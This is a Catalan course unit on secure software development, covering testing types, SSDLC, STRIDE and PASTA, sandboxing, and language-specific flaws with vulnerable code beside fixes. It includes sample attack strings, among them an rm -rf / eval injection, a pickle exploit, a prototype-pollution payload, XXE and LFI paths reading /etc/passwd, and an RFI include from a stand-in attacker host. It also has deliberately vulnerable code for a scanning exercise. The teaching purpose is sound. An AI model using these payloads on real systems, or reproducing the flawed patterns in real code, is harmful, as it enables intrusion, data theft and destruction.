Salta el contingut

Fonaments de Seguretat en Aplicacions

Proposta didàctica

En aquest bloc treballem els fonaments de la seguretat en el desenvolupament de programari: el cicle de vida segur, les metodologies de modelatge d'amenaces i les vulnerabilitats específiques dels principals llenguatges de programació.

Criteris d'avaluació

  • CA1.1 Comparació de llenguatges de programació des del punt de vista de la seguretat.
  • CA1.2 Models d'execució de programari i les seves implicacions en la seguretat.
  • CA1.3 Elements bàsics del codi font que afecten la seguretat.
  • CA1.4 Tipus de proves de programari orientades a la seguretat.
  • CA1.5 Avaluació de seguretat en llenguatges i entorns d'execució.

Continguts de referència

  1. Tipus de proves de seguretat: SAST, DAST, IAST, SCA
  2. Secure Software Development Lifecycle (SSDLC / SDL)
  3. Threat Modeling: STRIDE i PASTA
  4. Sandboxes i entorns d'execució aïllats
  5. Seguretat en els principals llenguatges de programació
  6. Eines d'anàlisi estàtica: SonarQube, Semgrep

Questionari inicial del bloc

  1. Quin tipus de prova de seguretat analitza el codi font sense executar-lo?
  2. Quina diferència hi ha entre SAST i DAST?
  3. Quin és el propòsit del Secure Software Development Lifecycle (SSDLC)?
  4. Quines fases comprèn el cicle de vida de desenvolupament segur?
  5. Que és el Threat Modeling i per a que s'utilitza?
  6. Quins elements comprèn l'acrònim STRIDE?
  7. Per que és perillós utilitzar la funció eval() en Python?
  8. Que és la deserialització insegura i en quins llenguatges és habitual?
  9. Que és el prototype pollution en JavaScript?
  10. Que és una anàlisi de composició de programari (SCA)?

1. Tipus de Proves de Seguretat

SAST — Static Application Security Testing

L'anàlisi estàtica de seguretat examina el codi font, bytecode o binaris sense executar l'aplicació. Permet detectar vulnerabilitats molt aviat en el cicle de vida del desenvolupament ("shift left").

Avantatges: - Detecta problemes en la fase de codificació - Cobertura del 100% del codi (no depèn de casos d'ús) - Integrable en l'IDE i en pipelines CI/CD - No requereix un entorn d'execució

Limitacions: - Alta taxa de falsos positius - No detecta problemes que sorgeixen en temps d'execució - Cal configuració i ajust per minimitzar el soroll

Eines SAST populars:

Eina Llicència Llenguatges suportats
SonarQube Open Source / Comercial 30+ (Java, Python, JS, PHP...)
Semgrep Open Source 20+
CodeQL (GitHub) Gratuït per OSS C, C++, Java, Python, JS, Go
Checkmarx Comercial 30+
Snyk Code Freemium 20+

DAST — Dynamic Application Security Testing

L'anàlisi dinàmica prova l'aplicació en execució, simulant atacs externs sense accés al codi font. És ideal per descobrir vulnerabilitats que només es manifesten en temps d'execució.

Avantatges: - Detecta vulnerabilitats reals en entorns d'execució - Pocs falsos positius (les vulnerabilitats trobades generalment existeixen) - No requereix accés al codi font - Simula el comportament d'un atacant real

Limitacions: - Cobertura limitada (només prova els camins que explora) - Pot trencar l'aplicació en entorns de producció - Més lent que SAST

Eines DAST populars:

Eina Llicència Descripció
OWASP ZAP Open Source Proxy interceptor i escàner
Burp Suite Freemium Plataforma professional de pentest web
Nikto Open Source Escàner de vulnerabilitats web
w3af Open Source Framework d'atacs i auditories

IAST — Interactive Application Security Testing

L'IAST combina tècniques de SAST i DAST. S'implementa com un agent dins de l'aplicació que monitoritza el comportament durant les proves funcionals.

graph LR
    A[Codi Font] -->|SAST| B[Anàlisi Estàtica]
    C[Aplicació en Execució] -->|DAST| D[Prova Externa]
    C -->|IAST Agent| E[Monitoratge Intern]
    B --> F[Informe de Vulnerabilitats]
    D --> F
    E --> F

SCA — Software Composition Analysis

L'SCA analitza les dependències de tercers (biblioteques, frameworks) per identificar components amb vulnerabilitats conegudes (CVEs).

Per que és crític l'SCA?

L'incident Log4Shell (CVE-2021-44228) va afectar milions de servidors perquè les aplicacions incloïen la biblioteca Log4j sense saber que era vulnerable. Un escàner SCA hauria detectat la versió vulnerable i alertat els equips de desenvolupament.

Eines SCA populars:

  • Trivy (Aqua Security): Escàner de contenidors i dependències
  • Snyk: Plataforma SCA amb remediació automatitzada
  • Dependabot (GitHub): Actualitzacions automàtiques de dependències
  • OWASP Dependency-Check: Eina open source

2. Secure Software Development Lifecycle (SSDLC)

El SSDLC (o SDL — Security Development Lifecycle, introduït per Microsoft) és un marc de treball que integra pràctiques de seguretat en cada fase del cicle de vida del desenvolupament de programari.

flowchart LR
    A[1. Planificació<br/>i Requisits] --> B[2. Disseny<br/>i Arquitectura]
    B --> C[3. Implementació<br/>i Codificació]
    C --> D[4. Verificació<br/>i Proves]
    D --> E[5. Desplegat<br/>i Operació]
    E --> F[6. Manteniment<br/>i Resposta]
    F --> A

    A1[Threat Modeling<br/>Requisits seguretat] -.-> A
    B1[Revisió arquitectura<br/>Patrons segurs] -.-> B
    C1[SAST<br/>Code review<br/>Estàndards segurs] -.-> C
    D1[DAST<br/>Pen testing<br/>SCA] -.-> D
    E1[Config segura<br/>Secrets mgmt<br/>WAF] -.-> E
    F1[Patch mgmt<br/>Monitoratge<br/>Incident response] -.-> F

Fase 1: Planificació i Requisits de Seguretat

En la fase inicial, cal identificar els requisits de seguretat de l'aplicació:

  • Classificació de dades: Quines dades personals, financeres o sensibles gestionarà l'aplicació?
  • Marc normatiu: Quines regulacions s'apliquen? (GDPR, PCI-DSS, HIPAA...)
  • Model d'amenaça inicial: Quins són els actors maliciosos potencials?
  • Requisits ASVS: Quin nivell d'ASVS cal assolir?

Fase 2: Disseny Segur

El disseny segur aplica principis fonamentals:

  • Principi de mínim privilegi: Cada component té accés només al que necessita
  • Defensa en profunditat: Múltiples capes de seguretat
  • Fail-safe per defecte: En cas d'error, el sistema adopta l'estat més segur
  • Separació de privilegis: Components d'alt risc aïllats dels de baix risc
  • Minimització de la superfície d'atac: Reduir funcionalitats exposades

Fase 3: Codificació Segura

Durant la codificació s'apliquen:

  • Estàndards de codificació segura: CERT, OWASP Secure Coding Practices
  • Revisió de codi entre iguals (peer review)
  • Anàlisi estàtica integrada en l'IDE (SonarLint, CodeQL)
  • Gestió segura de secrets: Mai hardcoded en el codi

Fase 4: Verificació i Proves

  • Proves funcionals de seguretat
  • DAST i pen testing
  • Revisió final de vulnerabilitats
  • Verificació de compliment ASVS

3. Threat Modeling

El Threat Modeling (modelatge d'amenaces) és el procés d'identificar, classificar i prioritzar les possibles amenaces a un sistema durant la fase de disseny.

STRIDE

STRIDE és un model desenvolupat per Microsoft que classifica les amenaces en 6 categories:

Lletra Amenaça Descripció Propietat violada
S Spoofing (suplantació) L'atacant es fa passar per un altre usuari o sistema Autenticitat
T Tampering (manipulació) L'atacant modifica dades o codi Integritat
R Repudiation (repudi) L'atacant nega haver fet una acció No-repudi
I Information Disclosure L'atacant accedeix a informació confidencial Confidencialitat
D Denial of Service L'atacant atura el servei Disponibilitat
E Elevation of Privilege L'atacant obté privilegis superiors Autorització
flowchart TD
    A[Identificar els<br/>components del sistema] --> B[Crear diagrama<br/>de flux de dades DFD]
    B --> C[Identificar Trust<br/>Boundaries]
    C --> D[Aplicar STRIDE<br/>a cada flux]
    D --> E[Classificar amenaces<br/>per risc DREAD]
    E --> F[Definir<br/>contramesures]
    F --> G[Validar<br/>la mitigació]
    G --> H[Documentar<br/>el model]

Exemple d'aplicació STRIDE a una API REST:

Component Amenaça STRIDE Exemple concret Contramesura
Endpoint /login Spoofing Atac de força bruta Rate limiting, MFA
Base de dades Tampering SQL Injection Prepared statements
Logs d'autenticació Repudiation Esborrar rastres Logs immutables, SIEM
Endpoint /api/users Information Disclosure IDOR (Insecure Direct Object Reference) Validació d'autorització
Servidor web Denial of Service DDoS, flood de peticions WAF, CDN, rate limiting
Rol d'usuari Elevation of Privilege Manipulació de JWT Validació de firma JWT

PASTA

PASTA (Process for Attack Simulation and Threat Analysis) és una metodologia de 7 passos orientada als objectius de negoci:

  1. Definir els objectius de negoci: Quins actius protegim i per a qui?
  2. Definir l'abast tècnic: Quina és la superfície d'atac?
  3. Descompondre l'aplicació: Diagrames de flux de dades
  4. Analitzar l'entorn d'amenaces: Actors, TTPs (Tàctiques, Tècniques i Procediments)
  5. Analitzar les vulnerabilitats: CVEs, CWEs rellevants
  6. Simular atacs: Escenaris d'atac per prioritzar riscos
  7. Analitzar el risc residual: Decisions de negoci basades en risc

4. Sandboxes i Entorns d'Execució Aïllats

Un sandbox és un entorn d'execució aïllat que limita els recursos i permisos accessibles per un programa, de manera que el codi maliciós o buggy no pugui afectar el sistema amfitrió.

Tipus de sandboxes

Contenidors Docker: El model de contenidors proporciona aïllament de processos, sistema de fitxers i xarxa:

# docker-compose.yml per a entorn de proves aïllat
services:
  app-sandbox:
    image: python:3.11-slim
    # Limitar recursos
    deploy:
      resources:
        limits:
          cpus: '0.5'
          memory: 256M
    # Sistema de fitxers de només lectura
    read_only: true
    # Sense privilegis
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    # Xarxa aïllada
    networks:
      - sandbox-net

networks:
  sandbox-net:
    driver: bridge
    internal: true  # Sense accés a Internet

gVisor (Google): Kernel en espai d'usuari que intercepta les crides al sistema.

Firejail: Sandbox de Linux per a aplicacions d'escriptori.


5. Seguretat en els Principals Llenguatges

Python: Riscos de Seguretat

eval() i exec(): Execució Arbitrària de Codi

Codi vulnerable

# VULNERABLE: eval() amb entrada d'usuari no validada
def calcular(expressio):
    return eval(expressio)  # Execució arbitrària de codi Python

# Atac: l'usuari envia: __import__('os').system('rm -rf /')
resultat = calcular(input("Expressa el càlcul: "))

Remediació

import ast
import operator

# SEGUR: Avaluació limitada d'expressions matemàtiques
def calcular_segur(expressio):
    # Permetre només operadors matemàtics
    operadors_permesos = {
        ast.Add: operator.add,
        ast.Sub: operator.sub,
        ast.Mult: operator.mul,
        ast.Div: operator.truediv,
    }

    def evaluar_node(node):
        if isinstance(node, ast.Num):
            return node.n
        elif isinstance(node, ast.BinOp):
            op = operadors_permesos.get(type(node.op))
            if op is None:
                raise ValueError(f"Operador no permès: {type(node.op)}")
            return op(evaluar_node(node.left), evaluar_node(node.right))
        else:
            raise ValueError(f"Expressió no vàlida: {node}")

    arbre = ast.parse(expressio, mode='eval')
    return evaluar_node(arbre.body)

pickle: Deserialització Insegura

Codi vulnerable

import pickle
import base64

# VULNERABLE: deserialitzar dades no confiables
def carregar_sessio(dades_b64):
    dades = base64.b64decode(dades_b64)
    sessio = pickle.loads(dades)  # Execució de codi arbitrari!
    return sessio

# Atac: crear un pickle maliciós
import os
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Si s'envia aquest payload, s'executa 'id > /tmp/pwned'

Remediació

import json
import hmac
import hashlib

SECRET_KEY = b'clau-secreta-molt-llarga-i-aleatoria'

# SEGUR: usar JSON (format de dades, no executa codi) + HMAC per integritat
def guardar_sessio(dades: dict) -> str:
    payload = json.dumps(dades)
    mac = hmac.new(SECRET_KEY, payload.encode(), hashlib.sha256).hexdigest()
    return f"{payload}|{mac}"

def carregar_sessio_segur(dades_signades: str) -> dict:
    parts = dades_signades.rsplit('|', 1)
    if len(parts) != 2:
        raise ValueError("Format invàlid")

    payload, mac_rebut = parts
    mac_esperat = hmac.new(SECRET_KEY, payload.encode(), hashlib.sha256).hexdigest()

    if not hmac.compare_digest(mac_rebut, mac_esperat):
        raise ValueError("Signatura invàlida: possible manipulació!")

    return json.loads(payload)

JavaScript / Node.js: Riscos de Seguretat

Prototype Pollution

Codi vulnerable

// VULNERABLE: merge profund sense protecció
function mergeDeep(target, source) {
    for (const key in source) {
        if (typeof source[key] === 'object') {
            // Si key és '__proto__', contaminem Object.prototype!
            target[key] = mergeDeep(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Atac: payload JSON maliciós
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
mergeDeep({}, payload);

// Ara TOTS els objectes tenen isAdmin = true!
const usuari = {};
console.log(usuari.isAdmin); // true - EXPLOTAT!

Remediació

// SEGUR: filtrar claus perilloses
function mergeDeepSegur(target, source) {
    const CLAUS_PROHIBIDES = ['__proto__', 'constructor', 'prototype'];

    for (const key of Object.keys(source)) {
        // Bloquejar keys perilloses
        if (CLAUS_PROHIBIDES.includes(key)) {
            continue;
        }

        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) {
                target[key] = Object.create(null); // Objecte sense prototype!
            }
            mergeDeepSegur(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// Alternativa: usar Object.create(null) per crear objectes purs
const objSegur = Object.create(null);

eval() en JavaScript

Codi vulnerable

// VULNERABLE: eval() amb entrada d'usuari
app.get('/calcula', (req, res) => {
    const resultat = eval(req.query.expr); // Execució de JS arbitrari!
    res.json({ resultat });
});

// Atac: GET /calcula?expr=require('child_process').execSync('cat /etc/passwd')

Remediació

const { create } = require('mathjs');

// SEGUR: usar una biblioteca matemàtica segura
const math = create({}, {});

app.get('/calcula', (req, res) => {
    try {
        // mathjs avalua expressions matemàtiques de forma segura
        const resultat = math.evaluate(req.query.expr);

        // Validar que el resultat és un número
        if (typeof resultat !== 'number') {
            return res.status(400).json({ error: 'Expressió invàlida' });
        }

        res.json({ resultat });
    } catch (e) {
        res.status(400).json({ error: 'Expressió invàlida' });
    }
});

Java: Riscos de Seguretat

Deserialització Insegura (CVE relacionat: Apache Commons Collections)

Codi vulnerable

// VULNERABLE: Deserialitzar dades d'usuari
import java.io.*;

public class GestorSessio {
    public Object carregarSessio(byte[] dades) throws Exception {
        // PERILL: qualsevol objecte serialitzat pot executar codi
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(dades)
        );
        return ois.readObject(); // Remote Code Execution possible!
    }
}

Remediació

// SEGUR: usar un filtre de deserialització
import java.io.*;
import java.util.Set;

public class GestorSessioSegur {
    private static final Set<String> CLASSES_PERMESES = Set.of(
        "com.empresa.model.Sessio",
        "com.empresa.model.Usuari",
        "java.lang.String",
        "java.lang.Integer"
    );

    public Object carregarSessio(byte[] dades) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(dades)
        ) {
            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc)
                    throws IOException, ClassNotFoundException {
                String nomClasse = desc.getName();

                // Validar que la classe és de les permeses
                if (!CLASSES_PERMESES.contains(nomClasse)) {
                    throw new InvalidClassException(
                        "Classe no permesa: " + nomClasse
                    );
                }
                return super.resolveClass(desc);
            }
        };
        return ois.readObject();
    }
}

XXE — XML External Entity

Codi vulnerable

// VULNERABLE: processament XML sense protecció contra XXE
import javax.xml.parsers.*;
import org.w3c.dom.*;

public class ProcessadorXML {
    public Document processar(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        // Atac: l'XML inclou una entitat externa com:
        // <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        // <foo>&xxe;</foo>
        return builder.parse(new InputSource(new StringReader(xml)));
    }
}

Remediació

// SEGUR: desactivar entitats externes
public class ProcessadorXMLSegur {
    public Document processar(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        // Desactivar entitats externes - crític per prevenir XXE
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);

        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new InputSource(new StringReader(xml)));
    }
}

PHP: Riscos de Seguretat

RFI / LFI — Remote/Local File Inclusion

Codi vulnerable

<?php
// VULNERABLE: inclusió de fitxers basada en paràmetre d'usuari

// LFI - Local File Inclusion
$pagina = $_GET['pagina'];
include($pagina . '.php');
// Atac LFI: ?pagina=../../../../etc/passwd%00
// Atac LFI: ?pagina=../../../var/log/apache2/access.log

// RFI - Remote File Inclusion (si allow_url_include = On)
include($pagina);
// Atac RFI: ?pagina=http://atacant.com/malware.php
?>

Remediació

<?php
// SEGUR: llista blanca estricta de pàgines permeses

$PAGINES_PERMESES = ['inici', 'sobre', 'contacte', 'serveis'];

$pagina = $_GET['pagina'] ?? 'inici';

// Validar que la pàgina és de la llista blanca
if (!in_array($pagina, $PAGINES_PERMESES, true)) {
    // Log de l'intent sospitós
    error_log("Intent d'inclusió no autoritzada: " . $pagina);
    $pagina = 'inici'; // Pàgina per defecte
}

// Construir el camí de forma segura
$ruta = __DIR__ . '/pagines/' . $pagina . '.php';

// Verificació addicional: el fitxer ha d'existir i estar dins del directori permès
$ruta_real = realpath($ruta);
$directori_base = realpath(__DIR__ . '/pagines/');

if ($ruta_real && strpos($ruta_real, $directori_base) === 0) {
    include($ruta_real);
} else {
    include(__DIR__ . '/pagines/inici.php');
}
?>

6. Eines d'Anàlisi Estàtica

SonarQube

SonarQube és una plataforma de qualitat i seguretat de codi que analitza més de 30 llenguatges de programació.

Desplegar SonarQube amb Docker:

# Iniciar SonarQube (requereix vm.max_map_count=262144)
docker run -d \
  --name sonarqube \
  -p 9000:9000 \
  -e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true \
  sonarqube:community

Escanejar un projecte Python:

# Instal·lar el scanner
pip install sonar-scanner-cli

# Crear sonar-project.properties
cat > sonar-project.properties << EOF
sonar.projectKey=el-meu-projecte
sonar.sources=src
sonar.host.url=http://localhost:9000
sonar.login=el-meu-token
EOF

# Executar l'escaneig
sonar-scanner

Miniactivitat 1: SonarQube

Instal·la SonarQube amb Docker i escaneja el següent codi Python vulnerable.

Codi a analitzar:

import sqlite3
import os

def cerca_usuari(nom):
    conn = sqlite3.connect('db.sqlite3')
    cursor = conn.cursor()
    # Quina vulnerabilitat té aquesta consulta?
    cursor.execute(f"SELECT * FROM usuaris WHERE nom = '{nom}'")
    return cursor.fetchall()

def llegir_fitxer(ruta):
    # Quina vulnerabilitat té aquesta funció?
    nom_fitxer = input("Fitxer a llegir: ")
    with open("/var/data/" + nom_fitxer) as f:
        return f.read()

def executar_comanda(cmd):
    # Quina vulnerabilitat té aquesta funció?
    return eval(cmd)

Preguntes: 1. Quantes vulnerabilitats ha detectat SonarQube? 2. Quins nivells de severitat té cadascuna? 3. Quines remediacions suggereix SonarQube?

Semgrep

Semgrep és una eina d'anàlisi estàtica lleugera que utilitza regles expressades com a patrons de codi.

Instal·lar i usar Semgrep:

# Instal·lar Semgrep
pip install semgrep

# Escanejar amb regles predefinides per OWASP Top Ten
semgrep --config=p/owasp-top-ten .

# Escanejar un fitxer concret
semgrep --config=p/python .

# Crear una regla personalitzada
cat > regla-eval.yaml << 'EOF'
rules:
  - id: eval-usuari-no-validat
    patterns:
      - pattern: eval($X)
      - pattern-not: eval("literal_string")
    message: "Ús d'eval() potencialment perillós amb entrada variable"
    languages: [python]
    severity: ERROR
    metadata:
      cwe: CWE-95
      owasp: A03:2021
EOF

semgrep --config=regla-eval.yaml .

Miniactivitat 2: Semgrep

Crea una regla Semgrep que detecti l'ús insegur de pickle.loads() en Python.

La regla ha de: 1. Detectar pickle.loads() amb qualsevol argument 2. Mostrar un missatge d'error descriptiu 3. Referenciar el CWE corresponent (CWE-502: Deserialization of Untrusted Data)

Prova la regla contra el codi vulnerable de la secció anterior.


Resum del Bloc

mindmap
  root((Fonaments Seguretat))
    Proves de Seguretat
      SAST
        SonarQube
        Semgrep
        CodeQL
      DAST
        OWASP ZAP
        Burp Suite
      IAST
      SCA
        Trivy
        Snyk
    SSDLC
      Planificació
      Disseny Segur
      Codificació Segura
      Verificació
      Desplegat
    Threat Modeling
      STRIDE
      PASTA
    Llenguatges
      Python
        eval
        pickle
      JavaScript
        Prototype Pollution
        eval
      Java
        Deserialització
        XXE
      PHP
        RFI/LFI
        eval

Activitats

  • AC501 (CA1.1, CA1.5) Comparativa de seguretat entre Python, JavaScript, Java i PHP
  • AC502 (CA1.3, CA1.4) Identificació de vulnerabilitats en codi font amb SonarQube
  • AC503 (CA1.3, CA1.4) Creació de regles personalitzades amb Semgrep
  • AC504 (CA1.3) Threat Modeling STRIDE d'una aplicació web de compres online
  • AC505 (CA1.2) Configuració d'un entorn de proves aïllat amb Docker

Projecte del Bloc

  • PR501 (CA1.1–CA1.5) Auditoria de codi font d'un projecte real amb eines SAST i presentació d'informe

Ampliacions

  • AP501 Implementació d'un pipeline SAST automatitzat amb GitHub Actions
  • AP502 Threat Modeling complet d'un sistema de pagaments en línia amb PASTA